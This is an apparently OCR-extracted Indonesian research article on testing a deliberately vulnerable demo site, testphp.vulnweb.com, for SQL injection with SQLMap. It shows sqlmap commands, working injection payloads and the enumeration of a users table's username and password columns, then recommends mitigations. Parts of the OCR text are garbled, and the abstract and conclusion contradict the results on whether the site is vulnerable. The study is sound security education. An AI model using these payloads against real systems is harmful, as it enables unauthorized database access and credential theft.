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Abstrak: Serangan SQL Injeksi (SQLI) tetap menjadi salah satu ancaman utama dalam keamanan aplikasi web, yang
memungkinkan penyerang mengakses, memodifikasi, atau menghancurkan data pada database. Latar belakang
penelitian ini adalah meningkatnya kebutuhan untuk mengidentifikasi dan mengatasi potensi celah keamanan akibat
serangan SQLi menggunakan metode pengujian yang efektif. Penelitian ini bertujuan untuk menguji kerentanan
aplikasi web terhadap SQL.i dengan menggunakan tools SQLMap melalui penyuntikan perintah SQL secara otomatis.
Hasil pengujian menunjukkan bahwa username dan password berhasil ditemukan, meskipun situs web tersebut tidak
memiliki kerentanan terhadap SQL Injection. Hal ini menunjukkan bahwa metode pengujian yang dilakukan efektif
dalam mengidentifikasi celah keamanan. Selain itu, penelitian ini memberikan wawasan penting mengenai perlunya
penerapan mekanisme keamanan yang lebih ketat untuk melindungi data pengguna, sekaligus menekankan
pentingnya pengujian keamanan rutin untuk menjaga sistem tetap terlindungi dari ancaman serangan berbasis SQL.
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1. Pendahuluan

Seiring dengan meningkatnya penggunaan aplikasi web dalam berbagai sektor, seperti bisnis,
pendidikan, pemerintahan, dan kesehatan, ancaman terhadap keamanan data yang disimpan dalam database
juga menjadi semakin kompleks dan beragam [1]. Aplikasi web kini sering digunakan untuk menangani
data sensitif, seperti informasi pribadi, transaksi keuangan, atau dokumen rahasia, sehingga menjadi target
potensial dari berbagai jenis serangan siber [2]. Salah satu ancaman yang paling umum dan berbahaya
adalah serangan SQL.i [3]. Serangan ini terjadi ketika penyerang memanfaatkan celah keamanan pada input
aplikasi web untuk menyisipkan perintah SQL berbahaya ke dalam sistem [4]. Jika berhasil, serangan ini
dapat mengakibatkan akses tidak sah ke database, pengubahan data, atau bahkan penghancuran seluruh
informasi yang tersimpan [5].

Serangan SQL.i tetap menjadi salah satu ancaman keamanan aplikasi web yang paling sering terjadi di
seluruh dunia. OWASP Top 10, yang secara rutin menyoroti ancaman keamanan aplikasi yang paling
signifikan, terus menempatkan "Injection™ sebagai salah satu ancaman utama yang perlu diwaspadai [6].
Kerentanan ini sering kali disebabkan oleh kurangnya validasi input pada sisi aplikasi, penggunaan query
SQL yang tidak aman, atau implementasi kode yang tidak mengikuti standar keamanan yang baik [7].
Dampaknya dapat sangat merugikan, mulai dari pencurian data hingga kerugian finansial yang besar bagi
organisasi [8].
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Untuk mengatasi ancaman ini, uji penetrasi terhadap celah keamanan menjadi langkah penting dalam
proses pengamanan aplikasi web [9]. Uji penetrasi tidak hanya membantu mengidentifikasi celah
keamanan, tetapi juga memberikan wawasan mengenai langkah-langkah mitigasi yang dapat diambil untuk
mencegah serangan di masa depan. Salah satu tools yang banyak digunakan oleh peneliti keamanan dan
pengembang adalah SQLmap. SQLmap merupakan tools uji penetrasi otomatis yang dirancang khusus
untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection [10]. Dengan kemampuan canggihnya,
SQLmap tidak hanya dapat mengidentifikasi celah keamanan, tetapi juga memberikan rekomendasi untuk
memperbaiki kelemahan tersebut. Tools ini mendukung berbagai teknik injeksi SQL, termasuk union-
based, error-based, dan blind SQL injection, sehingga sangat efektif dalam pengujian keamanan aplikasi
web [11].

Penelitian ini bertujuan untuk melakukan uji penetrasi terhadap celah keamanan database pada aplikasi
web menggunakan SQLmap. Dengan memanfaatkan SQLmap, penelitian ini akan mengeksplorasi
bagaimana metode eksploitasi dilakukan, dampak yang mungkin timbul dari serangan injeksi SQL, serta
rekomendasi langkah-langkah mitigasi untuk mengamankan aplikasi web dari ancaman ini. Hasil dari
penelitian ini diharapkan dapat memberikan kontribusi dalam meningkatkan kesadaran akan pentingnya
pengamanan database, sekaligus mendorong pengembangan aplikasi web yang lebih aman dan tahan
terhadap serangan injeksi SQL [2].

Selain itu, penelitian ini juga diharapkan dapat menjadi acuan bagi pengembang aplikasi, administrator
database, dan praktisi keamanan untuk memahami lebih dalam tentang ancaman injeksi SQL. Dengan
demikian, mereka dapat mengambil langkah proaktif dalam mengidentifikasi dan menutup celah keamanan
sebelum serangan terjadi. Lebih jauh, penelitian ini juga menjadi landasan untuk mengembangkan tools
keamanan yang lebih canggih dan responsif terhadap evolusi ancaman siber yang terus berkembang.
Dengan pendekatan ini, diharapkan aplikasi web masa depan tidak hanya fungsional, tetapi juga dapat
memberikan tingkat keamanan yang tinggi bagi penggunanya [12].

2. Metode

Penelitian ini dilakukan melalui beberapa tahapan yang sistematis untuk mengidentifikasi, menguiji,
dan menganalisis celah keamanan database aplikasi web terhadap serangan injeksi SQL. Berikut adalah
tahapan metode yang digunakan:

a. ldentifikasi Target

Tahap ini dimulai dengan pemilihan aplikasi web target untuk pengujian. Target dipilih
berdasarkan izin eksplisit untuk melakukan uji penetrasi, dengan memastikan bahwa pengujian
dilakukan dalam lingkungan yang aman dan terkendali (legal dan etis).
b. Pengujian Kerentanan
SQLmap digunakan untuk menguji potensi kerentanan injeksi SQL.

c. Eksploitasi Celah Keamanan
Setelah kerentanan teridentifikasi, SQLMap digunakan untuk mengeksploitasi celah tersebut,
seperti membaca nama tabel, kolom, atau bahkan mengekstrak data dari database. Hasil eksploitasi
dicatat untuk analisis lebih lanjut.

d. Analisis Dampak

Data yang berhasil diekstrak dianalisis untuk mengukur dampak potensial dari serangan. Analisis
ini mencakup potensi kehilangan data, kebocoran informasi sensitif, atau kerusakan pada sistem
aplikasi.

e. Rekomendasi dan Mitigasi

Berdasarkan hasil pengujian, rekomendasi diberikan untuk memperbaiki celah keamanan, seperti
validasi input yang lebih ketat, penggunaan query parameterized, serta pembaruan sistem secara
berkala.

Metode ini dirancang untuk memberikan pemahaman yang mendalam tentang proses pengujian
penetrasi terhadap celah keamanan injeksi SQL, sekaligus memastikan bahwa pengujian dilakukan secara
bertanggung jawab dan mematuhi standar etika.
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3. Hasil dan Pembahasan
Pada tahapan ini dilakukan identifikasi terkait web yang memiliki celah terhadap SQL.i. hasilnya dapat dilihat
pada Gambar 1.

S EmPO]|1 2 3 4 |meo o m a ,193|a 6

o & pictures X & Dokumen tanpa judul - X Microsoft Word - Article (Suc X

« > C @ O A testphp.vulnweb.com/listproducts.p t=1

-8 Import bookmarks... Kali Linux # Kali Tools @ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

M™acunetix k

Acunetix Web Vulnerability Scanner
home | categories | artists | disclaimer @ your cart = guestbook | AJAX Demo

search art Posters
%

The shore
Browse categories
Browse artists Lorem ipsum dolor sit amet, consectetuer adipiscing elit
e Donec molestie. Sed aliquam sem ut arcu,

Gambar 1. lIdentifikasi kerentanan

Gambar 1. Menunjukkan pada url terakhir adanya tulisan php?cat=1 atau sejenisnya, sehingga ada potensi
ataupun kerentanan SQLi pada web tersebut. Pada Gambar 2. Dapat dilihat langkah untuk mendapatkan
database yang ada dalam web menggunakan tools SQLMap.

v 0 A L2035 |&a ¢

File Actions Edit View Help

testphp.vulnweb.com/listproducts.php?cat=1 1

Gambar 2. Pencarian database dengan perintah -dbs

Pada tahap ini, Sqlmap akan mencoba menyuntikkan perintah-perintah SQL ke dalam situs web target.
Setelah proses selesai, akan diperoleh berbagai perintah SQL yang dapat digunakan, serta nama-nama
database yang terdapat di dalam situs target, yaitu acuart dan information_schema, seperti yang ditampilkan

pada Gambar 3.
BamPo--|

File Actions Edit View Help

Gambar 3. Hasil database yang ditemukan

Tahap selanjutnya yaitu menggunakan Sglmap untuk menampilkan daftar tabel dari database yang
digunakan. Tujuannya adalah untuk memperoleh data-data sensitif yang tersimpan dalam situs web tersebut
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dengan menggunakan perintah sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -tables. Seperti
yang terlihat pada gambar 4.

B mmP ]| 2 3 4|z : v 0 a .228|ac

arif@Arif: ~

File Actions Edit View Help

[ 1 [INFO] fetched data logged to text files under '/home/arif/.local /sqlmap/output/testphp.vulnweb.com

[*] ending @ 20:38 /2024-11-27/

testphp.vulnweb.com/listproducts.php?cat=1

Gambar 4. Perintah Sqlmap (-tables)

Setelah proses selesai, sistem akan menampilkan tabel-tabel yang terdapat dalam database acuart dan
information_schema. Kedua database ini merupakan bagian dari struktur data situs web yang dianalisis. Hasil
tampilan tersebut dapat dilihat pada Gambar 5 yag merupakan proses enumerasi tabel.

B emEmPOr]|1 2 3 2|

arif@Arif: ~

File Actions Edit View Help

Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 1321=1321

Type: error-based
Title: MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x716a717671,(SELECT (ELT(5950=5950,1))),0x7176716a71),5950)

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
payload: cat=1 AND (SELECT 1360 FROM (SELECT(SLEEP(5)))EtLC)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a717671,0x565a4a796e46466a744d4a5a6c704c797a7a414a58456d4f7a5476544b596354564755617a6975
7a,0x7176716a71),NULL,NULL,NULL,NULL— -
[ 1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application techn PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL > 5.6
[ 1 [INFO] fetching tables for database: 'acuart
Database: acuart
[8 tables]

+ +
|
|
|

categ
| featured |
| guestbook |
| pictures |
| products |
| users |

[ 1 [INFO] fetched data logged to text files under ' /arif/.local/share/sqlmap/output/testphp.vu

[*] ending @ 22:31:16 /2024-11-27/

testphp.vulnweb.com/listproducts.php?cat=1 acuart usersf]

Gambar 5. Hasil Dari Enumerasi Tabel Pada Database Acuart

Gambar 5 menunjukkan bahwa terdapat delapan tabel yang ditemukan dalam database acuart. Setelah
memperoleh daftar tabel tersebut, langkah selanjutnya adalah melakukan pencarian terhadap tabel yang
bernama users. Tabel ini berpotensi menyimpan informasi penting, seperti username dan password. Hasil
dari pencarian ini ditampilkan pada Gambar 6.
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B omP D] 2 4| ¢ A 24 | @ G
g arif@Arif: ~
File Actions Edit View Help

- WHERE, HAVING, ORDER BY or GROUP BY clause (GTI BSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x716a717671,(SELECT (ELT(5950=5950,1))),0x7176716a71),5950)

blind
MysQL AND time-based blind (query SLEEP)
cat (SELECT 1360 FROM (SELECT(SLEEP(5)))EtLC)
UNION query
eric UNION query (NULL) - 11 columns
1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a717671,0x565a4a796e46466a744d4a5a6c704c797a7a414a58456d4f7a5476544b596354564755617a6975
716a71) ,NULL,NULL,NULL,NULL— -

d DBMS is MySQL
ting syste Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.4
back-end DBMS: MysQL >
10 ] fetching columns for table

rchar( |
address | mediumtext |
rchar(100) |

|
email |
pass r |
phone |
uname |

testphp.vulnweb.com/listproducts.php?cat=1 uname, p acuart

Gambar 6. Hasil dari tabel users

Gambar 6 merupakan hasil dari tabel users, di mana ditemukan delapan kolom yang terdapat dalam tabel
tersebut. Salah satu kolom yang teridentifikasi adalah uname, yang kemungkinan berisi data nama pengguna.
Informasi ini berpeluang untuk mengekstrak isi dari kolom uname. Hasil ekstraksi tersebut ditampilkan pada
Gambar 7.

SBEamPori|1 2
g arif@Arif: ~
File Actions Edit View Help

Parameter: cat
Type: boole d blind
Title: AND bool ed blind - WHERE or HAVING clause
Payload: cat=1 AND 1321=1321

Type: error-based
5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
AND GTID_SUBSET(CONCAT(0x716a717671,(SELECT (ELT(5950=5950,1))),0x7176716a71),5950)

5.0.12 AND time-based blind (query SLEEP)
AND (SELECT 1360 FROM (SELECT(SLEEP(5)))EtLC)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(@x716a717671,0x565a4a796e46466a744d4a5a6c704c797a7a414a58456d4f7a5476544b596354564755617a6975
7a,0x7176716a71) ,NULL,NULL,NULL ,NULL— -
[ ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL
L 1 [INFO] fetching entries of column(s) 'pass,una for table ° in database 'ac

s

" rt. ' dumped to CSV file 0 m nweb. com
] fetched data 1 d to text files under L tph nweb. com
[*] endin 2:49:51 /2024-11-27/

Gambar 7. Hasil columns uname

Gambar 7 menampilkan hasil ekstraksi dari kolom uname pada tabel users. Berdasarkan hasil tersebut, dapat
disimpulkan bahwa situs web ini memiliki tingkat keamanan yang rendah terhadap kerentanan injeksi SQL.
Hal ini memungkinkan penyerang untuk menyuntikkan perintah SQL secara langsung dan memperoleh data
sensitif dari database.
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Berdasarkan hasil pengujian, disarankan agar pengembang aplikasi web menerapkan beberapa langkah

mitigasi untuk meningkatkan keamanan sistem dari potensi serangan SQL.i. Langkah-langkah berikut dapat
dilakukan:

a.

Validasi Input

Pastikan semua input dari pengguna divalidasi dengan baik untuk mencegah penyisipan perintah SQL
berbahaya. Gunakan whitelist untuk memastikan hanya data yang diizinkan yang dapat diterima oleh
sistem.

Penggunaan Parameterized Query atau Prepared Statement

Hindari penggunaan query SQL dinamis yang langsung menggabungkan input pengguna. Sebagai
gantinya, gunakan parameterized query atau prepared statement untuk memastikan bahwa input
pengguna diperlakukan sebagai data, bukan perintah SQL.

Penerapan Web Application Firewall (WAF)

Gunakan WAF untuk mendeteksi dan memblokir serangan SQL Injection secara real-time. Firewall
ini dapat memberikan perlindungan tambahan terhadap serangan yang tidak terdeteksi oleh
mekanisme validasi input.

Audit dan Pengujian Rutin

Lakukan audit keamanan dan pengujian penetrasi secara rutin menggunakan tools seperti SQLMap
untuk mengidentifikasi potensi kerentanan baru yang mungkin muncul seiring pembaruan aplikasi.
Pengelolaan Hak Akses Database

Batasi hak akses pengguna terhadap database. Misalnya, akun yang digunakan oleh aplikasi untuk
mengakses database sebaiknya hanya memiliki hak akses minimum yang diperlukan, seperti hanya
membaca atau menulis data tertentu.

Penerapan Enkripsi Data

Gunakan enkripsi pada data sensitif yang tersimpan di database untuk mencegah penyalahgunaan
informasi jika terjadi pelanggaran keamanan.

Dengan menerapkan rekomendasi ini, aplikasi web dapat lebih terlindungi dari ancaman SQL

Injection, sehingga keamanan data pengguna dan integritas sistem dapat terjaga dengan baik.

4, Kesimpulan

Berdasarkan tujuan penelitian, pengujian dilakukan menggunakan tools SQLMap dengan

menyuntikkan perintah SQL. Hasil pengujian menunjukkan bahwa username dan password berhasil
ditemukan pada situs web yang tidak memiliki kerentanan terhadap SQL Injection (SQLi). Hal ini
mengindikasikan bahwa metode pengujian yang digunakan cukup efektif dalam mengidentifikasi potensi
kelemahan atau celah keamanan pada aplikasi web. Selain itu, hasil ini memberikan wawasan penting
mengenai pentingnya implementasi mekanisme keamanan yang lebih kuat untuk melindungi data pengguna.
Lebih lanjut, penelitian ini juga menekankan perlunya pengujian rutin untuk memastikan bahwa sistem tetap
aman dari ancaman serangan berbasis SQL.
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